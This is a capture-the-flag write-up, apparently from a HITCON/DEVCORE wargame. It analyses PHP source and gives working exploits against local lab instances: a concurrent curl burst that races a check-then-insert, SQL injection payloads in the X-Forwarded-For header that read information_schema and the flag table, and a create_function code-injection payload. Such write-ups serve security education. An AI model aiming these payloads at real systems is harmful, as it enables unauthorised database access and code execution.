<h1>HITCON CTF: DEVCORE-Wargame</h1> <h2>Submit Flag</h2> <h3>Challenge Description</h3> A platform where players need to reach at least 5 points by submitting 5 different flags (or by any means 😉) to capture the final flag. <h3>Source Code Analysis</h3> <h4>register.php</h4> ```php! if ($_SERVER["REQUEST_METHOD"] == "POST") { if (isset($_POST['user']) && strlen($_POST['user']) <= 128) { $session = get_session(); $session['user'] = strval($_POST['user']); $pdo = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass); $stmt = $pdo->prepare('DELETE FROM submit WHERE user = ?'); $stmt->bindParam(1, $session['user']); $stmt->execute(); save_session($session); header('Location: /'); exit(); } } ``` > * Sets `$session['user']` to the submitted username. > * Deletes all rows from the `submit` table for that username. > * The user will be redirected to `index.php` once they registered. > * Each user's session ID is stored in the `session` data once they register. <h4>index.php</h4> ```php! $flag = strval($_POST['flag']); $stmt = $pdo->prepare('SELECT * FROM flag WHERE flag = ? COLLATE utf8mb4_bin'); $stmt->bindParam(1, $flag); $stmt->execute(); $row = $stmt->fetch(PDO::FETCH_ASSOC); if (!$row) { $session['flash'] = 'This flag is not valid'; save_session($session); header('Location: /index.php'); exit(); } ``` > * The submitted flag is compared against the stored flag value in the `flag` table using binary collation. > * If the submitted flag is not found, set the flash message and save session, redirects user back to `index.php`. ```php! $stmt = $pdo->prepare('SELECT * FROM submit WHERE user = ? COLLATE utf8mb4_bin AND flag = ? COLLATE utf8mb4_bin'); $stmt->bindParam(1, $user); $stmt->bindParam(2, $flag); $stmt->execute(); $row = $stmt->fetch(PDO::FETCH_ASSOC); if ((bool) $row) { $session['flash'] = 'You already submitted this flag.'; save_session($session); header('Location: /index.php'); exit(); } ``` > * If the flag is valid, the server checks whether the same flag has already been submitted by this user. > * The comparison is done by querying the `submit` table for an exact match on both the username and flag. ```php! sleep(2); ``` > * The server sleeps for 2 seconds before proceeding to insert the valid flag into the database. ```php! $stmt = $pdo->prepare('INSERT INTO submit (user, flag) VALUES (?, ?)'); $stmt->bindParam(1, $user); $stmt->bindParam(2, $flag); if ($stmt->execute()) { $session['flash'] = 'You successfully submit the flag.'; save_session($session); header('Location: /index.php'); exit(); } else { $session['flash'] = 'Submit error.'; save_session($session); header('Location: /index.php'); exit(); } ``` > * If the flag value passed the two checks above: valid and not previously submitted, the flag is inserted into the database along with the username. > * A success or error flash message is set accordingly. ```php! $stmt = $pdo->prepare('SELECT count(*) AS score FROM submit WHERE user = ?'); $stmt->bindParam(1, $user); $stmt->execute(); $row = $stmt->fetch(PDO::FETCH_ASSOC); $score = $row['score']; ``` > * The user's score is calculated as the total number of rows in `submit` table for that username. ```html <?php if ($score >= 5): ?> <h3>Congratulations, you got <?=$score ?> points.</h3> <h3>Here is your final flag: <?=$final_flag ?></h3> <?php else: ?> <h3>You got <?=$score ?> points now.</h3> <p>Submit 1 flag to get 1 point. Try to get more than 5 points to obtain the final flag.</p> <p>As an encouragement, I'll give you the first flag as a reward.</p> <p>The first flag is <?=$first_flag ?></p> <?php endif; ?> ``` > * If the current user's score is equal or greater than 5, the final flag is displayed. > * Otherwise, show the current user's score and the first flag value. <h3>Ways to Catch the Final Flag</h3> 1. Play the game fair and square: catch all 5 flags * All the valid flags are stored in the database, one way to retrieve all flags is to dump the `flag` database table. 2. Manipulate the scoreboard * With one valid flag, we can abuse the 2-second delay between the "already submitted" check and the database insert. * Sending many concurrent submissions to quickly insert (username, flag) during this window inserts multiple rows in the table. * The score is calculated as `COUNT(*)` per user without uniqueness check, inflating the score to >= 5 and triggering the final flag display. <h3>Exploit Steps</h3> 1. Register a user and capture the session cookie ```bash URL='http://127.0.0.1:8902/index.php' COOKIE='session=eyJ1c2VyIjoiJycnJyciLCJleHAiOjE3NTQ3MTI2OTZ9e585074165f5a7354471e15ddc88fd53bc18b723' DATA='flag=FLAG{this_is_the_first_flag}' ``` > This cookie uniquely identifies a user to the application. 2. Fire multiple identical POSTs during the 2-second nap ```bash seq 60 | xargs -I{} -P60 curl -sS -X POST "$URL" \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H "Cookie: $COOKIE" \ --data "$DATA" > /dev/null ``` > Firing a tight burst using `xargs -P` (true parallelism). > Each request passes the "already submitted?" check before any inserts happen, resulting in multiple identical rows being inserted. > Logic: > * `seq 60` outputs 1 to 60, one per line. > * `-I{}` where `{}` is replaced with each number to make xargs run the command N times and execute the curl command separately for each number. > * `-P60` runs up to 60 requests in parallel. > * `curl -sS -X POST "$URL" ...` is executed once for each input line. 3. Leverage the flawed scoring logic ```bash curl -sS "$URL" -H "Cookie: $COOKIE" | grep -E 'You got|Congratulations' ``` > The score is COUNT(*) per user with no DISTINCT or uniqueness check for the flag value, so duplicates inflate the score quickly. > The final flag retrieval message is shown if the score is greater than or equal to 5. 4. Scale the service to allow more concurrent inserts ```bash docker compose down docker compose up -d --scale web=6 ``` > We might hit a cap on small worker counts. > Scaling increases concurrent PHP workers to make the race more effective. <h3>Proof of Exploit</h3> ![image](https://hackmd.io/_uploads/r1agFYrdlg.png) <h3>Challenge(s)</h3> 1. The queries are parameterized and use a binary collation, making classic SQLi challenging. 2. The server's concurrency ceiling is hit. <h2>What's My IP</h2> <h3>Challenge Description</h3> Exploit a SQL Injection vulnerability to reveal the flag stored in the `flag` database table. The application also maintains an `iplog` table containing IP addresses and countries of visitors. <h3>Source Code Analysis</h3> <h4>index.php</h4> ```php! if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } ``` > * `$ip` value is user-controlled via HTTP Headers. ```php! $country = @file_get_contents("https://api.hostip.info/country.php?ip=$ip"); if ($country == 'XX' || !$country) { $country = 'Unknown'; } ``` > * `$country` value is determined by querying external API. ```php! $db = mysqli_connect('mysql', 'dbuser', 'en8yzvQz4ywKK6gnSbK', 'ipdb'); mysqli_query($db, "INSERT INTO iplog (ip, country) VALUES ('$ip', '$country')"); ``` > * The value of `$ip` and `$country` is inserted into the database `iplog` table without sanitization. ```php! $query = "SELECT country, COUNT(ip) as total FROM iplog GROUP BY country"; $result = mysqli_query($db, $query); $table = array(); while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) { $table[] = $row; } mysqli_close($db); ``` > * Fetches the `iplog` data as a country-wise count in the HTML output. <h3>Ways to Catch the Final Flag</h3> 1. The injection occurs at the INSERT query with `$ip` as the vulnerable field. 2. Injection is done via the `X-Forwarded-For` header. 3. Use SQL injection payload in the `X-Forwarded-For` header to select the flag value from the `flag` table and insert it into the `iplog` table. 4. Since `iplog` entries are displayed on the web page, the flag will be shown in the HTML output. <h3>Exploit Steps</h3> 1. Enumerate the DB Schemas ```bash curl \ -H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(schema_name, 30) FROM information_schema.schemata LIMIT 2,1)); #" \ -H "User-Agent: Mozilla/5.0" \ http://127.0.0.1:8901/ ``` ![image](https://hackmd.io/_uploads/HJBQPordgl.png) 2. Enumerate schema tables ```bash curl \ -H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(TABLE_NAME, 30) FROM information_schema.tables WHERE TABLE_SCHEMA='flag_vBu6eL' ORDER BY TABLE_NAME LIMIT 0,1)); #" \ -H "User-Agent: Mozilla/5.0" \ http://127.0.0.1:8901/ ``` ![image](https://hackmd.io/_uploads/ByC_uiSugg.png) 3. Enumerate column names ```bash curl \ -H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(COLUMN_NAME, 30) FROM information_schema.columns WHERE TABLE_NAME='flag_hH33YT' ORDER BY COLUMN_NAME LIMIT 0,1)); #" \ -H "User-Agent: Mozilla/5.0" \ http://127.0.0.1:8901/ ``` ![image](https://hackmd.io/_uploads/SJ_ytiHuge.png) 4. Extract column data ```bash curl \ -H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(flag_jQM2hM, 10) FROM flag_vBu6eL.flag_hH33YT LIMIT 1)); #" \ -H "User-Agent: Mozilla/5.0" \ http://127.0.0.1:8901/ ``` <h3>Proof of Exploit</h3> ![image](https://hackmd.io/_uploads/Byj79jBOex.png) <h3>Challenge(s)</h3> 1. Output length is limited, data must be extracted in chunks. 2. `--` SQL style comments does not work, use `#` as an alternative. ![image](https://hackmd.io/_uploads/SJhV4xiDxe.png) ![image](https://hackmd.io/_uploads/HJlPNgjPle.png) <h2>Kurapika</h2> ![image](https://hackmd.io/_uploads/H1uRk2rOee.png) ![image](https://hackmd.io/_uploads/HJvrxnrdxe.png) <h2>Supercalifragilisticexpialidocious</h2> <h3>Challenge Description</h3> Craft a payload that triggers PHP code execution via an unsafe use of `create_function()`. <h3>Source Code Analysis</h3> <h4>index.php</h4> ```php! $code = strval($_GET['code']); try { create_function('', $code); echo "valid"; } catch (ParseError $e) { echo "syntax error"; } ``` > * `$_GET[$code]` is entirely user-controlled. > * `create_function('', $code)` compiles a function with no parameters and a body equal to `$code`. > * The `$code` string is parsed as if it were inside the function's braces. <h3>Ways to Catch the Final Flag</h3> 1. Inject a function body escape and execute the RCE payload to catch the flag via the `readflag` function. 2. `create_function('', $code)` internally generates: ```php function __lambda_func() { // injected code } ``` 3. Hence, if we pass a payload looking like ``}die(`/readflag`);/*``: ```php function __lambda_func() { }die(`/readflag`);/* } ``` <h3>Exploit Steps</h3> 1. Send a payload that closes the body and executed `readflag`. ```php }die(`/readflag`);/* ``` <h3>Proof of Exploit</h3> ![image](https://hackmd.io/_uploads/B1ujiTBdlx.png) ![image](https://hackmd.io/_uploads/ByIhjTrOlx.png)